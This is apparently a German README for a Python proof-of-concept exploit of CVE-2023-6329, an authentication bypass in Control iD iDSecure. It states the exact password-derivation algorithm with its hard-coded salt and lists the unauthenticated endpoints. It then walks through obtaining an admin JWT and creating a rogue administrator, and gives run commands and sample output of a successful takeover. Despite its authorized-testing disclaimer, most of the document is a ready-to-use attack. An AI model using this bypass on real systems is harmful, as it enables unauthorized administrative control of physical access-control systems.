
CVE-2023-6329 – Proof-of-Concept für Authentifizierungsumgehung für Control iD iDSecure ≤ 4.7.43.0
Ein Python Proof-of-Concept-Exploit für CVE-2023-6329, eine Schwachstelle durch unzureichende Zugriffskontrolle in Control iD iDSecure Versionen 4.7.43.0 und niedriger. Der Fehler ermöglicht es einem nicht authentifizierten entfernten Angreifer, gültige Anmeldeinformationen zu rekonstruieren, indem er einen vorhersagbaren Passwort-Ableitungsalgorithmus ausnutzt, der vollständig auf öffentlich zugänglichen Werten basiert – einer Geräteseriennummer, einem vom Server bereitgestellten Nonce und einem fest codierten Salt. Nach der Authentifizierung kann der Angreifer einen neuen Administrator-Benutzer über die Weboberfläche erstellen.
In Python umgesetzt basierend auf dem ursprünglichen Metasploit-Modul von Michael Heinzl. Die ursprüngliche Schwachstelle wurde von Tenable entdeckt und veröffentlicht.
Haftungsausschluss: Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt. Der Autor übernimmt keine Verantwortung für Missbrauch. Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.
Die Anmelderoutine in iDS-Core.dll stellt einen alternativen Authentifizierungspfad über einen passwordCustom-Parameter bereit. Der Wert für diesen Parameter wird mit einem vorhersagbaren Algorithmus abgeleitet, der die Seriennummer des Geräts (öffentlich ohne Authentifizierung abrufbar) zusammen mit einem vom Aufrufer bereitgestellten Nonce und einem fest codierten Salt-String (cid2016) kombiniert. Da jeder Bestandteil der Berechnung entweder vom Angreifer kontrolliert oder frei verfügbar ist, kann jeder entfernte Angreifer einen gültigen passwordCustom-Wert berechnen und sich als Administrator anmelden.
Nach erfolgreicher Authentifizierung über diesen Pfad setzt der Server das Passwort des admin-Kontos auf admin zurück oder erstellt dieses Konto, falls es noch nicht existiert.
Der Exploit durchläuft fünf Schritte:
1. Versionsprüfung – Der Endpunkt /api/util/configUI gibt eine 401-Antwort mit der Softwareversion zurück, was bestätigt, ob das Ziel eine verwundbare Version ausführt.
2. Abrufen der Entsperrdaten – Ein GET-Request an /api/login/unlockGetData gibt die serial-Nummer des Geräts und einen passwordRandom-Nonce zurück. Dieser Endpunkt erfordert keine Authentifizierung.
3. Berechnung von passwordCustom – Der folgende Algorithmus wird angewendet, um die Umgehungsanmeldeinformationen abzuleiten:
sha1_hash = SHA1(serial)
combined = sha1_hash + passwordRandom + "cid2016"
sha256_hash = SHA256(combined)
passwordCustom = int(sha256_hash[0:6], 16) # erste 6 Hex-Zeichen → dezimal
4. Authentifizieren und ein JWT erhalten – Der berechnete passwordCustom und passwordRandom werden per POST an /api/login/ gesendet, was ein gültiges JWT accessToken mit Administratorrechten zurückgibt.
5. Neuen Administrator-Benutzer erstellen – Mit dem JWT wird ein POST an /api/operator/ gesendet, um ein neues Operator-Konto mit idType: 1 (Administratorrolle) zu registrieren.
requestsgit clone https://github.com/itzvenom/CVE-2023-6329.git
cd CVE-2023-6329
pip install requests
python3 exploit.py --host <TARGET_IP> [Optionen]
Einfache Nutzung gegen ein Ziel auf dem Standard-Port:
python3 exploit.py --host 192.168.1.100
Benutzerdefinierte Anmeldeinformationen für das neue Admin-Konto angeben:
python3 exploit.py --host 192.168.1.100 --username ctfadmin --password S3cr3tPass!
Ziel, das auf einem nicht standardmäßigen Port ohne SSL läuft:
python3 exploit.py --host 192.168.1.100 --port 8080 --no-ssl
[*] Target: https://192.168.1.100:30443
============================================================
[*] Target version: 4.7.32.0
[+] Target appears VULNERABLE.
[+] passwordRandom : 2948271034
[+] serial : ABC123XYZ
[*] Computed passwordCustom: 8301745
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] User 'ctfadmin' created successfully.
[+] Verified! New credentials work.
[+] Login at: https://192.168.1.100:30443/#/login
Username : ctfadmin
Password : S3cr3tPass!
| Feld | Details |
|---|
| CVE-ID | CVE-2023-6329 |
| Betroffenes Produkt | Control iD iDSecure |
| Betroffene Versionen | ≤ 4.7.43.0 |
| Schwachstellentyp | Unzureichende Zugriffskontrolle (CWE-284) |
| Angriffsvektor | Netzwerk (nicht authentifiziert) |
| Offenlegungsdatum | 27. November 2023 |
| Entdeckt von | Tenable |
| Argument | Standardwert | Beschreibung |
|---|
--host | (erforderlich) | Ziel-IP-Adresse oder Hostname |
--port | 30443 | Ziel-Port |
--username | pwned_admin | Benutzername für das neue Admin-Konto |
--password | Pwned1234! | Passwort für das neue Admin-Konto |
--no-ssl | False | HTTPS deaktivieren (reines HTTP verwenden) |